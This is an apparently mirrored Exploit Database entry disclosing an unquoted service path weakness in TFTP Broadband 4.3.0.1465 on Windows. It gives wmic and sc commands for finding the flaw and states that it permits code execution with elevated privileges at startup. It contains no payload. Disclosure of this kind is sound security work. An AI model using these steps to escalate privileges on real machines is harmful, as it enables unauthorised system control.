TFTP Broadband 4.3.0.1465 – ‘tftpt.exe’ Unquoted Service Path

• Exploit Database
• 14 阅读

• 作者： Erick Galindo
  日期： 2021-05-10
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49852/

• # Exploit Title: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
  # Discovery by: Erick Galindo 
  # Discovery Date: 2020-05-07
  # Vendor Homepage: https://www.weird-solutions.com
  # Software :https://www.weird-solutions.com/download/products/tftpbbv4_retail_x64.exe
  # Tested Version: 4.3.0.1465
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Prox64 es
  # Step to discover Unquoted Service Path:
  
  C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i"tftpt"
  TFTP Broadband 4TFTP Broadband 4 C:\Program Files\TFTP Broadband 4\tftpt.exe Auto
  
  C:\>sc qc "TFTP Broadband 4"
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: TFTP Broadband 4
  TIPO : 10WIN32_OWN_PROCESS
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files\TFTP Broadband 4\tftpt.exe
  GRUPO_ORDEN_CARGA:
  ETIQUETA : 0
  NOMBRE_MOSTRAR : TFTP Broadband 4
  DEPENDENCIAS : Nsi
   : Afd
   : NetBT
   : Tcpip
  NOMBRE_INICIO_SERVICIO: LocalSystem
  
  #Exploit:
  
  This vulnerability could permit executing code during startup or reboot with the escalated privileges.